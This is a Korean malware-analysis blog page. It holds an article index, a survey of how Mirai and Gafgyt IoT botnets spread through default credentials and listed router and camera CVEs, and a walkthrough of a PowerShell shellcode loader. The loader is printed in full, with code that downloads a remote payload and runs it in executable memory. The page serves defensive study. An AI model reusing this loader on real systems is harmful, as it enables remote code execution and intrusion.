2019. 6. 14. 14:18 악성코드 분석

목록



1. 도구

- Ollydbg 2.01 매뉴얼http://sanseolab.tistory.com/8 ]

Windbg, Gdb 명령어 정리 http://sanseolab.tistory.com/22 ]

VC++ 옵션 정리 http://sanseolab.tistory.com/20 ]

exeinfo PE 사용법 [ http://sanseolab.tistory.com/48 ]

x64dbg 분석 팁http://sanseolab.tistory.com/54 ]

IDA Pro 시그니처 사용 및 제작 (Flirt) [ http://sanseolab.tistory.com/55 ]

- GCC 사용법  [ http://sanseolab.tistory.com/67 ]

- 디버거로 덤프뜨기  [ http://sanseolab.tistory.com/73 ]

- Notepad++ 자동화  [ http://sanseolab.tistory.com/74 ]

- TotalCommand 자동화  [ http://sanseolab.tistory.com/75 ]



2. 보안 개념

코드 인젝션과 사용자 모드 후킹 http://sanseolab.tistory.com/28 ]

윈도우의 예외 처리 http://sanseolab.tistory.com/16 ]

윈도우의 서비스 http://sanseolab.tistory.com/18 ]

API Sets http://sanseolab.tistory.com/17 ]

윈도우의 자료형 정리 http://sanseolab.tistory.com/9 ]

윈도우에서 스크립트 악성코드 http://sanseolab.tistory.com/41 ]

악성코드 분석 자동화 (샌드박스 및 에뮬레이터) http://sanseolab.tistory.com/39 ]

안티바이러스의 악성코드 탐지 메커니즘 http://sanseolab.tistory.com/35 ]

다형성 바이러스 http://sanseolab.tistory.com/19 ]

악성코드 지속 메커니즘 http://sanseolab.tistory.com/30 ]

파워셸(PowerShell)과 악성코드 http://sanseolab.tistory.com/29 ]

윈도우 권한과 UAC (User Access Control) 우회 http://sanseolab.tistory.com/27 ]

악성코드가 감염되기까지 http://sanseolab.tistory.com/26 ]

EFLAGS 상태 레지스터 http://sanseolab.tistory.com/44 ]

Anti-AV와 Anti-VM (Sandbox) [ http://sanseolab.tistory.com/52 ]

Access Token 및 권한과 Integrity Level에 대한 정리 [ http://sanseolab.tistory.com/50 ]

COM, OLE,.NET Framework 등의 개념 및 사용 [ http://sanseolab.tistory.com/49 ]

TEB 및 PEB를 활용하는 루틴 [ http://sanseolab.tistory.com/47 ]

Process Hollowing 및 응용  [ http://sanseolab.tistory.com/57 ]

CreateProcess / CreateThread 내부  [ http://sanseolab.tistory.com/58 ]

- 악성 행위에 사용될 수 있는 시스템 유틸리티  [ http://sanseolab.tistory.com/66 ]

- 윈도우의 작업 스케줄링 및 기타  [ http://sanseolab.tistory.com/68 ]

- batch (cmd) 난독화  [ https://sanseolab.tistory.com/76 ]

- 파워셸에서 사용되는 닷넷 문법  [ https://sanseolab.tistory.com/77 ]

- 리눅스 IoT 악성코드들의 전파 방식  [ https://sanseolab.tistory.com/78 ]



3. 분석

패커들 분석 http://sanseolab.tistory.com/10 ]

Yoda's Protector 분석 http://sanseolab.tistory.com/11 ]

프로텍터 PEspin 1.33 분석 http://sanseolab.tistory.com/34 ]

델파이 바이너리 분석 방법론 [ http://sanseolab.tistory.com/56 ]

Autoit 스크립트  [ http://sanseolab.tistory.com/59 ]

바이너리로 변환된 VBScript 디컴파일  http://sanseolab.tistory.com/60 ]

오토핫키 (AutoHotKey) 버전 별 디컴파일  [ http://sanseolab.tistory.com/61 ]

바이너리로 변환된 스크립트 추출 ( VBScript, Powershell, Batch )  [ http://sanseolab.tistory.com/63 ]

Visual Basic 6.0 바이너리 분석  [ http://sanseolab.tistory.com/64 ]

인스톨러들 분석  [ http://sanseolab.tistory.com/65 ]

USB 악성코드 분석 [ http://sanseolab.tistory.com/42 ]



4. 개발

간단한 패커 개발 http://sanseolab.tistory.com/12 ]

윈도우의 드라이버 개발과 루트킷 그리고 AV http://sanseolab.tistory.com/13 ]

리눅스 안티바이러스 구현에 관한 정리 http://sanseolab.tistory.com/23 ]

윈도우 안티바이러스 드라이버 개발 연습 http://sanseolab.tistory.com/33 ]

윈도우 드라이버로 구현한 간단한 프로세스 로그 생성기 (Process Logger) http://sanseolab.tistory.com/38 ]

yara를 이용한 시그니처 분류 연습  [ http://sanseolab.tistory.com/62 ]

- [Tool] ejExtractor  [ http://sanseolab.tistory.com/72 ]



'악성코드 분석' 카테고리의 다른 글

리눅스 IoT 악성코드들의 전파 방식  (0) 2019.06.14
파워셸에서 사용되는 닷넷 문법  (0) 2019.03.04
batch (cmd) 난독화  (0) 2019.02.03
Notepad++ 자동화  (0) 2019.01.31
파워셸(PowerShell)과 악성코드  (0) 2019.01.31
Posted by SanseoLab

 

1. 개요

 

Mirai, Gafgyt 등의 악성코드들은 소스 코드가 공개된 이후 현재까지 다수의 변종들이 만들어지고 있다. 이러한 IoT 악성코드들은 대부분 기능상 DDoS Bot이며, 그렇기 때문에 효과적인 DDoS 공격을 위해서는 다수의 Botnet이 필요하다. 즉 해당 IoT DDoS Bot 악성코드들은 DDoS 공격과 관련된 기능 외에도 또 다른 취약한 디바이스들을 스캐닝하고 더 나아가 확인된 취약한 장비들에 동일한 악성코드를 전파시키는 기능이 포함될 수 밖에 없다. 

여기서는 크게 초기 버전부터 사용되고 있는 사전 공격 (Dictionary Attack) 방식과, 이후 변종들의 다수를 차지하고 있는 취약점 기법들에 대해서 다룬다.

 

 

 

 

2. ID / PW 사전 공격

 

다음은 Gafgyt의 초기 버전인 Bashlite의 소스 코드이다. usernames와 passwords를 살펴보면 root를 포함한 admin, user 등의 기본적으로 사용될만한 ID를 가지고 있으며, 비밀번호 또한 root, toor, admin 등 관리자가 보안에 신경쓰지 않고 간략하게 설정할 만한 비밀번호 값들을 갖는다.
https://github.com/ifding/iot-malware/blob/master/BASHLITE/client.c ]

StartTheLelz() 함수는 getrandompublicip() 함수를 통해 랜덤으로 구한 IP 주소에 (사설 IP 대역 등은 제외한다) 위의 ID / PW 값들을 통해 로그인을 시도한다. 참고로 후술할 Mirai와 달리 매우 간단한 편이기 때문에 따로 전파 기능을 갖지 않고 C2 서버에 성공한 서버의 IP와 ID / PW를 전송한다.

다음은 Mirai 악성코드의 공개된 초기 버전 소스 코드이다. 디폴트 ID와 비밀번호가 포함된 소스 코드이다.
https://github.com/jgamblin/Mirai-Source-Code/blob/master/mirai/bot/scanner.c ]

Bashlite와 같이 보안에 취약한 ID / PW 값들을 포함할 뿐만 아니라 IoT 장비의 디폴트 ID 및 비밀번호들도 포함하고 있다. 참고로 Mirai는 이렇게 보안에 취약한 장비들을 스캐닝할 뿐만 아니라 로그인에 성공한 서버에 (참고로 busybox도 설치되어 있어야 한다) Mirai 악성코드를 전파하는 기능도 포함하고 있다.

위에서는 초기 소스 코드를 기반으로 확인하였지만, 이후 나오는 변종들에서는 더 많은 ID / PW 조합이 (Credential combination) 사용되고 있다. 다음은 관련 내용이 언급된 분석 글들의 링크이다.
https://blog.avast.com/hacker-creates-seven-new-variants-of-the-mirai-botnet ]
https://www.imperva.com/blog/malware-analysis-mirai-ddos-botnet/ ]
https://medium.com/@ahmedjouini99/mirai-botnet-new-sophisticated-scanner-6ad9269c14 ]
https://unit42.paloaltonetworks.com/new-mirai-variant-adds-8-new-exploits-targets-additional-iot-devices/ ]

 

 

 

 

3. 취약점

 

ID / PW 사전 공격 외에도 만약 대상 디바이스에 취약점이 존재하여 악성코드를 다운로드 받고 실행할 수 있다면 이 취약점을 통해 전파가 가능하다.

취약점 관련 내용은 Palo Alto Networks가 꾸준히 잘 정리된 블로그를 올렸기 때문에 링크만 걸어도 충분할 것 같다. 물론 여러 개의 블로그에 나뉘어져 있어서 간략히 정리하는 의미로, 그리고 이후 추가된 블로그 및 상세 내역을 추가해 가는 방식을 위해 이 블로그에서도 간략하게 정리하도록 한다.

2018.07.20 - [ https://unit42.paloaltonetworks.com/unit42-finds-new-mirai-gafgyt-iotlinux-botnet-campaigns/ ]
2018.09.09 - [ https://unit42.paloaltonetworks.com/unit42-multi-exploit-iotlinux-botnets-mirai-gafgyt-target-apache-struts-sonicwall/ ]
2019.03.18 - [ https://unit42.paloaltonetworks.com/new-mirai-variant-targets-enterprise-wireless-presentation-display-systems/ ]
2019.04.08 - [ https://unit42.paloaltonetworks.com/mirai-compiled-for-new-processor-surfaces/ ]
2019.06.06 - [ https://unit42.paloaltonetworks.com/new-mirai-variant-adds-8-new-exploits-targets-additional-iot-devices/ ]

아래에 정리된 내용을 보면 알겠지만 대부분 Remote Command Execution 취약점들이다. 즉 원격으로 패킷을 보내는 방식을 통해 악의적인 명령이 수행될 수 있다. 대부분 wget을 이용해 악성코드를 다운로드 받고 실행하는 방식이 사용된다.


LynkSys 취약점

 

취약점 : LynkSys Remote Command Execution
대상 : Linksys E-series Devices
예시 : [ https://unit42.paloaltonetworks.com/unit42-multi-exploit-iotlinux-botnets-mirai-gafgyt-target-apache-struts-sonicwall/ ]

 

취약점 : Linksys WAP54Gv3 Remote Debug Root Shell
대상 : Linksys WAP54G Wireless Access Points
예시 : [ https://unit42.paloaltonetworks.com/new-mirai-variant-targets-enterprise-wireless-presentation-display-systems/ ]

 

취약점 : CVE-2013-3568
대상 : Linksys WRT100, WRT110 consumer routers
예시 : [ https://unit42.paloaltonetworks.com/new-mirai-variant-targets-enterprise-wireless-presentation-display-systems/ ]

 

취약점 : Linksys apply.cgi Remote Command Execution
대상 : Linksys E1500/E2500 routers
예시 : [ https://unit42.paloaltonetworks.com/new-mirai-variant-targets-enterprise-wireless-presentation-display-systems/ ]

 

 

NetGear 취약점

 

취약점 : Netgear setup.cgi unauthenticated Remote Command Execution
대상 : DGN1000 Netgear routers
예시 : [ https://unit42.paloaltonetworks.com/unit42-multi-exploit-iotlinux-botnets-mirai-gafgyt-target-apache-struts-sonicwall/ ]

 

취약점 : Netgear cgi-bin Remote Command Execution
대상 : Netgear R7000/R6400 devices
예시 : [ https://unit42.paloaltonetworks.com/unit42-finds-new-mirai-gafgyt-iotlinux-botnet-campaigns/ ]

 

취약점 : CVE-2016-1555
대상 : Netgear WG102, WG103, WN604, WNDAP350, WNDAP360, WNAP320, WNAP210, WNDAP660, WNDAP620 devices
예시 : [ https://unit42.paloaltonetworks.com/new-mirai-variant-targets-enterprise-wireless-presentation-display-systems/ ]

 

취약점 : CVE-2017-6077, CVE-2017-6334
대상 : Netgear DGN2200 N300 Wireless ADSL2+ Modem Routers
예시 : [ https://unit42.paloaltonetworks.com/new-mirai-variant-targets-enterprise-wireless-presentation-display-systems/ ]

 

취약점 : Netgear Prosafe Remote Command Execution
대상 : Netgear Prosafe WC9500, WC7600, WC7520 Wireless Controllers
예시 : [ https://unit42.paloaltonetworks.com/new-mirai-variant-targets-enterprise-wireless-presentation-display-systems/ ]

 

취약점 : Netgear ReadyNAS Remote Command Execution / CVE-2018-15716
대상 : Netgear ReadyNAS Surveillance 1.4.3-16 and NUUO NVRMini devices
예시 : [ https://unit42.paloaltonetworks.com/new-mirai-variant-adds-8-new-exploits-targets-additional-iot-devices/ ]

 

 

D-Link 취약점

 

취약점 : HNAP SoapAction-Header Remote Command Execution
대상 : D-Link devices
예시 : [ https://unit42.paloaltonetworks.com/unit42-multi-exploit-iotlinux-botnets-mirai-gafgyt-target-apache-struts-sonicwall/ ]

 

취약점 : UPnP SOAP TelnetD Remote Command Execution
대상 : D-Link devices
예시 : [ https://unit42.paloaltonetworks.com/unit42-finds-new-mirai-gafgyt-iotlinux-botnet-campaigns/ ]

 

취약점 : D-Link command.php Remote Command Execution
대상 : Some D-Link Devices
예시 : [ https://unit42.paloaltonetworks.com/unit42-multi-exploit-iotlinux-botnets-mirai-gafgyt-target-apache-struts-sonicwall/ ]

 

취약점 : D-Link DCS-930L Remote Command Execution
대상 : D-Link DCS-930L Network Video Cameras
예시 : [ https://unit42.paloaltonetworks.com/new-mirai-variant-targets-enterprise-wireless-presentation-display-systems/ ]

 

취약점 : D-Link diagnostic.php Command Execution
대상 : D-Link DIR-645, DIR-815 Routers
예시 : [ https://unit42.paloaltonetworks.com/new-mirai-variant-targets-enterprise-wireless-presentation-display-systems/ ]

 

취약점 : D-Link DSL2750B Remote Code Execution
대상 : D-Link DSL2750B
예시 : [ https://unit42.paloaltonetworks.com/mirai-compiled-for-new-processor-surfaces/ ]

 

 

기타 취약점

 

취약점 : CVE-2018-10561, CVE-2018-10562 Remote Command Execution
대상 : Dasan GPON routers
예시 : [ https://unit42.paloaltonetworks.com/unit42-finds-new-mirai-gafgyt-iotlinux-botnet-campaigns/ ]

 

취약점 : CVE-2014-8361
대상 : Different devices using the Realtek SDK with the miniigd daemon
예시 : [ https://unit42.paloaltonetworks.com/unit42-finds-new-mirai-gafgyt-iotlinux-botnet-campaigns/ ]

 

취약점 : CVE-2017-17215
대상 : Huawei HG532
예시 : [ https://unit42.paloaltonetworks.com/unit42-finds-new-mirai-gafgyt-iotlinux-botnet-campaigns/ ]

 

취약점 : Eir WAN Side Remote Command Execution
대상 : Eir D1000 routers
예시 : [ https://unit42.paloaltonetworks.com/unit42-finds-new-mirai-gafgyt-iotlinux-botnet-campaigns/ ]

 

취약점 : CCTV/DVR Remote Command Execution
대상 : CCTVs, DVRs from over 70 vendors
예시 : [ https://unit42.paloaltonetworks.com/unit42-finds-new-mirai-gafgyt-iotlinux-botnet-campaigns/ ]

 

취약점 : JAWS Webserver unauthenticated shell command execution
대상 : MVPower DVRs, among others
예시 : [ https://unit42.paloaltonetworks.com/unit42-finds-new-mirai-gafgyt-iotlinux-botnet-campaigns/ ]

 

취약점 : Vacron NVR Remote Command Execution
대상 : Vacron NVR devices
예시 : [ https://unit42.paloaltonetworks.com/unit42-finds-new-mirai-gafgyt-iotlinux-botnet-campaigns/ ]

 

취약점 : EnGenius Remote Command Execution
대상 : EnGenius EnShare IoT Gigabit Cloud Service 1.4.11
예시 : [ https://unit42.paloaltonetworks.com/unit42-multi-exploit-iotlinux-botnets-mirai-gafgyt-target-apache-struts-sonicwall/ ]

 

취약점 : AVTECH Unauthenticated Remote Command Execution
대상 : AVTECH IP Camera/NVR/DVR Devices
예시 : [ https://unit42.paloaltonetworks.com/unit42-multi-exploit-iotlinux-botnets-mirai-gafgyt-target-apache-struts-sonicwall/ ]

 

취약점 : CVE-2017-6884
대상 : Zyxel routers
예시 : [ https://unit42.paloaltonetworks.com/unit42-multi-exploit-iotlinux-botnets-mirai-gafgyt-target-apache-struts-sonicwall/ ]

 

취약점 : NetGain ‘ping’ Command Injection
대상 : NetGain Enterprise Manager 7.2.562
예시 : [ https://unit42.paloaltonetworks.com/unit42-multi-exploit-iotlinux-botnets-mirai-gafgyt-target-apache-struts-sonicwall/ ]

 

취약점 : NUUO OS Remote Command Execution
대상 : NUUO NVRmini 2 3.0.8
예시 : [ https://unit42.paloaltonetworks.com/unit42-multi-exploit-iotlinux-botnets-mirai-gafgyt-target-apache-struts-sonicwall/ ]

 

취약점 : CVE-2018-17173
대상 : LG Supersign TVs
예시 : [ https://unit42.paloaltonetworks.com/new-mirai-variant-targets-enterprise-wireless-presentation-display-systems/ ]

 

취약점 : WePresent WiPG-1000 Remote Command Execution
대상 : WePresent WiPG-1000 Wireless Presentation systems
예시 : [ https://unit42.paloaltonetworks.com/new-mirai-variant-targets-enterprise-wireless-presentation-display-systems/ ]

 

취약점 : Zyxel P660HN Remote Command Execution
대상 : Zyxel P660HN-T routers
예시 : [ https://unit42.paloaltonetworks.com/new-mirai-variant-targets-enterprise-wireless-presentation-display-systems/ ]

 

취약점 : ZTE Remote Command Execution
대상 : ZTE ZXV10 H108L Routers with <= V1.0.01_WIND_A01
예시 : [ https://unit42.paloaltonetworks.com/new-mirai-variant-targets-enterprise-wireless-presentation-display-systems/ ]

 

취약점 : Apache Struts 2 Remote Command Execution / CVE-2017-5638
대상 : Apache Struts 2.3.5~2.3.31 버전, Apache Struts 2.5~2.5.10 버전, Cisco 제품 : https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170310-struts2
예시 : [ https://unit42.paloaltonetworks.com/new-mirai-variant-targets-enterprise-wireless-presentation-display-systems/ ]

 

취약점 : SonicWall GMS Remote Command Execution / CVE-2018-9866
대상 : SonicWall Global Management System (GMS) (8.1 and older)
예시 : [ https://unit42.paloaltonetworks.com/new-mirai-variant-targets-enterprise-wireless-presentation-display-systems/ ]

 

취약점 : ThinkPHP Remote Command Execution / CVE-2018-20062
대상 : ThinkPHP 5.x < v5.0.23
예시 : [ https://unit42.paloaltonetworks.com/mirai-compiled-for-new-processor-surfaces/ ]

 

취약점 : CVE-2019-3929
대상 : Wireless Presentation Systems from several vendors
예시 : [ https://unit42.paloaltonetworks.com/new-mirai-variant-adds-8-new-exploits-targets-additional-iot-devices/ ]

 

취약점 : OpenDreamBox Remote Code Execution
대상 : Devices running OpenDreamBox 2.0.0 ? an embedded Linux distribution for Set-Top-Boxes
예시 : [ https://unit42.paloaltonetworks.com/new-mirai-variant-adds-8-new-exploits-targets-additional-iot-devices/ ]

 

취약점 : CVE-2018-6961
대상 : VMware NSX SD-WAN Edge < 3.1.2
예시 : [ https://unit42.paloaltonetworks.com/new-mirai-variant-adds-8-new-exploits-targets-additional-iot-devices/ ]

 

취약점 : CVE-2018-7841
대상 : Schneider Electric U.motion LifeSpace Management Systems
예시 : [ https://unit42.paloaltonetworks.com/new-mirai-variant-adds-8-new-exploits-targets-additional-iot-devices/ ]

 

취약점 : Dell KACE Remote Code Execution
대상 : Dell KACE Systems Management Appliances
예시 : [ https://unit42.paloaltonetworks.com/new-mirai-variant-adds-8-new-exploits-targets-additional-iot-devices/ ]

 

취약점 : CVE-2017-5174
대상 : Geutebruck IP Cameras
예시 : [ https://unit42.paloaltonetworks.com/new-mirai-variant-adds-8-new-exploits-targets-additional-iot-devices/ ]

 

취약점 : HooToo TripMate Remote Code Execution
대상 : HooToo TripMate Routers
예시 : [ https://unit42.paloaltonetworks.com/new-mirai-variant-adds-8-new-exploits-targets-additional-iot-devices/ ]

 

취약점 : CVE-2018-11510
대상 : Asustor NAS Devices
예시 : [ https://unit42.paloaltonetworks.com/new-mirai-variant-adds-8-new-exploits-targets-additional-iot-devices/ ]

 

취약점 : CVE-2019-2725
대상 : Oracle WebLogic Servers
예시 : [ https://unit42.paloaltonetworks.com/new-mirai-variant-adds-8-new-exploits-targets-additional-iot-devices/ ]

 

취약점 : ASUS DSL Modem Remote Code Execution
대상 : ASUS DSL-N12E_C1 1.1.2.3_345
예시 : [ https://unit42.paloaltonetworks.com/new-mirai-variant-adds-8-new-exploits-targets-additional-iot-devices/ ]

 

취약점 : Belkin WeMo Remote Code Execution
대상 : Belkin WeMo Devices
예시 : [ https://unit42.paloaltonetworks.com/new-mirai-variant-adds-8-new-exploits-targets-additional-iot-devices/ ]

 

취약점 : MiCasa VeraLite Remote Code Execution
대상 : MiCasa VeraLite Smart Home Controllers
예시 : [ https://unit42.paloaltonetworks.com/new-mirai-variant-adds-8-new-exploits-targets-additional-iot-devices/ ]

 

취약점 : GoAhead Remote Code Execution
대상 : IP cameras manufactured by GoAhead, Aldi, and several others
예시 : [ https://unit42.paloaltonetworks.com/new-mirai-variant-adds-8-new-exploits-targets-additional-iot-devices/ ]

 

 

'악성코드 분석' 카테고리의 다른 글

목록  (1) 2019.06.14
파워셸에서 사용되는 닷넷 문법  (0) 2019.03.04
batch (cmd) 난독화  (0) 2019.02.03
Notepad++ 자동화  (0) 2019.01.31
파워셸(PowerShell)과 악성코드  (0) 2019.01.31
Posted by SanseoLab


0. 개요

1. 예제

2. 정리 중





0. 개요

  파워셸 악성코드의 경우 커맨드 라인으로 간단하게 cmdlet 만을 이용하는 방식 외에도 직접적으로 닷넷을 이용하여 악성 행위를 수행하는 경우가 많다. 이 경우 직관적인 부분 위주로 간략한 행위 정도는 파악할 수 있지만 상세한 내용을 분석해야 할 필요가 있어서 공부 삼아서 여기에 정리하려고 한다.


  가장 기본적인 샘플을 구해 이것 위주로 분석하기로 하며, 나아가 다른 복잡한 샘플들에서도 추가적인 부분들 위주로 계속 추가해 나갈 예정이다. 여기서는 다음 링크의 코드가 공부를 시작하는데 적합하다고 생각해서 조금 상세하게 진행하도록 한다. 



1. 예제

https://github.com/Exploit-install/DKMC/blob/master/core/util/exec-sc.ps1 ]



/*  source code  */


Set-StrictMode -Version 2


$DoIt = @'

function func_get_proc_address {

        Param ($var_module, $var_procedure)

        $var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')

        return $var_unsafe_native_methods.GetMethod('GetProcAddress').Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))

}


function func_get_delegate_type {

        Param (

                [Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,

                [Parameter(Position = 1)] [Type] $var_return_type = [Void]

        )

        $var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])

        $var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')

        $var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')

        return $var_type_builder.CreateType()

}


[Byte[]]$var_code = (New-Object System.Net.WebClient).DownloadData("[URL]")


$var_buffer = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $var_code.Length,0x3000, 0x40)


[System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)


$var_hthread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll CreateThread), (func_get_delegate_type @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$var_buffer,[IntPtr]::Zero,0,[IntPtr]::Zero)


[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll WaitForSingleObject), (func_get_delegate_type @([IntPtr], [Int32]))).Invoke($var_hthread,0xffffffff) | Out-Null

'@


If ([IntPtr]::size -eq 8) {

        start-job { param($a) IEX $a } -RunAs32 -Argument $DoIt | wait-job | Receive-Job

}

else {

        IEX $DoIt

}


/*  source code  */



  실질적인 역할을 하는건 $DoIt으로 선언한 파워셸 스크립트이다. 이 스크립트에서도 가장 마지막 라인들이 실제 행위를 수행한다. 참고로 " $DoIt = "@ ... "@ " 부분은 $DoIt 이라는 변수에 파워셸 스크립트 문자열을 저장한다. 그냥 쌍따옴표 대신 @를 이용한 이 방식은 내부 문자열에 쌍따옴표가 들어가도 인식할 수 있게 해준다. 그래서인지 이러한 여러 라인을 가진 복잡한 형태의 파워셸 악성코드에서는 항상 @ 문자열을 볼 수 있다.


  이제 $DoIt 스크립트를 보자. 먼저 다운로드한 셀코드를 Byte 배열 $var_code에 저장한다.

이후 $var_buffer 부분을 보면 버퍼를 할당하는데 직접 API 함수 VirtualAlloc()을 사용한다. 그리고 Copy()를 통해 셸코드를 $var_buffer로 복사한다. 이후 직접 CreateThread() API 함수를 호출하는데 시작 주소는 앞에서 할당 후 셸코드를 복사한 $var_buffer이다. 마지막으로 생성된 쓰레드에 대해 WaitForSIngleObject()로 대기하며 이 또한 직접 API 함수를 호출한다.


  C로 제작하였으면 간단했겠지만 여기서는 .net에서 직접 API 함수를 이용하는 메커니즘을 사용했기 때문에 내용이 많이 복잡해졌다. 물론 다른 악성코드 예제들보다는 훨씬 간단하기 때문에 이것을 예제로 하고 공부 중이며 간단하게 정리된 내용을 업로드하기로 한다.


  먼저 VirtualAlloc()을 호출하는 부분을 본다. 나머지는 함수들도 호출하는 방식은 동일하므로 이 함수를 호출하는 방식 위주로 진행한다. [System.Runtime.InteropServices.Marshal] 클래스의 GetDelegateForFunctionPointer() 메소드는 unmanaged function pointer를 Delegate로 변환하는 함수라고 한다. Delegate라는 개념은 대리자라고도 불리는데 간단하게 설명해서 메소드를 효율적으로 사용하기 위해 특정 메소드 자체를 캡슐화할 수 있게 만들어주는 방식이라고 한다. 


  Delegate 자체는 개념이 어려우므로 넘어가고 어쩄든 해당 라인은 인자로 받은 unmanaged function pointer에 대해 Delegate로 변환시킨 후에 invoke로 해당 함수를 호출하는 것으로 간략하게 이해할 수 있다. Delegate 객체의 메소드로 invoke가 있으며 invoke 시에 인자를 줄 수 있는 것으로 보인다. 결국 GetDelegateForFunctionPointer() 메소드를 통해 VirtualAlloc()에 대한 Delegate 객체가 생성되었고 이것을 실행하는 방식이다.


  특정 API 함수에 대한 Delegate 객체가 있다면 호출할 수 있다는 점은 알게 되었고, 이제 GetDelegateForFunctionPointer() 메소드가 어떤 방식을 통해 해당 객체를 생성하는지의 과정을 보자.


  이 함수는 인자로 변환할 unmanaged 함수의 포인터 뿐만 아니라 생성할 Delegate 객체의 타입을 받는다. 여기서는 func_get_proc_address 함수를 통해 (인자로 kernel32.dll과 VirtualAlloc()을 받아서) unmanaged 함수의 포인터를 생성하는 것으로 보인다. 마찬가지로 타입은 func_get_delegate_type 함수를 통해 (인자로 VirtualAlloc() 함수의 인자와 동일한 인자들을 받아서) Delegate 타입을 생성하였다.


  이제 앞의 두 함수만 보면 (이름도 굉장히 직관적이다) unmanaged 함수의 포인터와 Delegate 객체의 타입이 어떻게 생성되는지를 확인할 수 있다. 먼저 func_get_proc_address 함수는 먼저 system.dll 어셈블리에서 Microsoft.Win32.UnsafeNativeMethods 를 찾는다. 


  어셈블리는 단일한 단위로 존재하는 .NET의 실행 가능한 프로그램 또는 실행 프로그램의 일부라고 하며 대표적으로 exe와 dll이 있다. 참고로 어셈블리는 MSIL 코드 외에도 Type Metadata, Assembly Manifest, Resource 등을 포함한다. 


  Microsoft.Win32.UnsafeNativeMethods 클래스를 구한 후 변수 $var_unsafe_native_methods에 저장한다. 구하는 방식은 현재 AppDomain에서 어셈블리를 획득한 후 이 중에서 해당 클래스가 구현된 system.dll을 획득하여 구하는 방식이다. 이제 UnsafeNativeMethods 클래스의 GetMethod 메소드를 통해 API 함수 이름을 인자로 받아 구하고 사용할 수 있다. API 함수를 호출할 때마다 이 과정을 거칠 필요 없이 func_get_proc_address는 인자로 DLL 이름과 API 함수 이름을 받아서 이 과정 즉 직접 LoadLibrary()와 GetProcAddress()를 통해 API 함수에 대한 주소를 구해 준다.


  다음으로 func_get_delegate_type 함수가 있다. 이 함수는 파워셸에서 delegate 키워드를 사용하는 것과 같은 효과를 준다. 즉 C#에서는 간단하게 타입을 지정할 때 delegate를 지정하면 되지만 파워셸에서는 해당 문법이 지원되지 않기 때문에 위와 같은 방식으로 직접 구현한 것이다.


  결론적으로 파워셸에서 닷넷 문법을 통해 API 함수를 직접적으로 사용할 수 있도록 구현된 것이며 내용 자체는 위와 같이 간단하다. 마지막 부분도 그냥 iex를 이용해 선언한 스크립트를 실행시키는 것이 전부이다.


  Start-Job cmdlet은 파워셸 스크립트를 백그라운드에서 실행시키며, 32bit 환경인지 64bit 환경인지를 검사한 후 64비트인 경우 (다운로드 받는 셸코드를 32비트로 전제한 것 같다) "-RunAs32" 옵션을 주고 32비트 프로세스로 실행시킨다.


  참고로 Powreliks 악성코드도 CreateThread() 대신 CallWindowProcA()을 사용했다는 점을 제외하면 동일한 방식이 사용되었다. 사용된 파워셸 소스 코드는 다음 링크에서 확인할 수 있다. [ https://www.codeandsec.com/Poweliks-Malware-Analysis ]





3. 정리 중

  다음 링크에 3가지 방식이 정리되어 있다. 위에서 다룬 방식은 2번째 방식이며, 1번째 방식이 공식적으로 문서화 된 방식이라고 한다.


https://devblogs.microsoft.com/scripting/use-powershell-to-interact-with-the-windows-api-part-1/ ]

https://devblogs.microsoft.com/scripting/use-powershell-to-interact-with-the-windows-api-part-2/ ]

https://devblogs.microsoft.com/scripting/use-powershell-to-interact-with-the-windows-api-part-3/ ]



'악성코드 분석' 카테고리의 다른 글

목록  (1) 2019.06.14
리눅스 IoT 악성코드들의 전파 방식  (0) 2019.06.14
batch (cmd) 난독화  (0) 2019.02.03
Notepad++ 자동화  (0) 2019.01.31
파워셸(PowerShell)과 악성코드  (0) 2019.01.31
Posted by SanseoLab



0. 개요

1. 쓰레기 문자

2. Substring

3. 난독화

4. 기타 문법





0. 개요

  언젠가부터 파워셸 난독화 외에도 cmd 명령 즉 batch 난독화가 적용된 악성코드들도 많이 보이고 있다. 난독화 방식이 파워셸보다 다양하거나 하지는 않지만 문법 자체가 그다지 익숙하지 않다보니 파워셸보다 더 봐도 모르겠는 상황이 생겨서 겸사겸사 정리하려고 한다.

  

  찾다 보니 파이어아이에서 잘 정리된 문서를 발견하여 우선적으로는 해당 문서에 대한 번역 및 간단한 정리 수준으로 여기에 정리한다. 파워셸 글과 같이 이후 다양한 샘플들을 확인하게 되면 꾸준히 추가해 가도록 하겠다. [ https://www.fireeye.com/content/dam/fireeye-www/blog/pdfs/dosfuscation-report.pdf ]

  

  기본적인 문법 관련 공부 외에도 실제 분석 시에는 동적으로 다음 링크 방식을 통해 간단하게 확인할 수도 있을 것으로 보인다. [ https://www.fireeye.com/blog/threat-research/2018/11/cmd-and-conquer-de-dosfuscation-with-flare-qdb.html ]

  




1. 쓰레기 문자

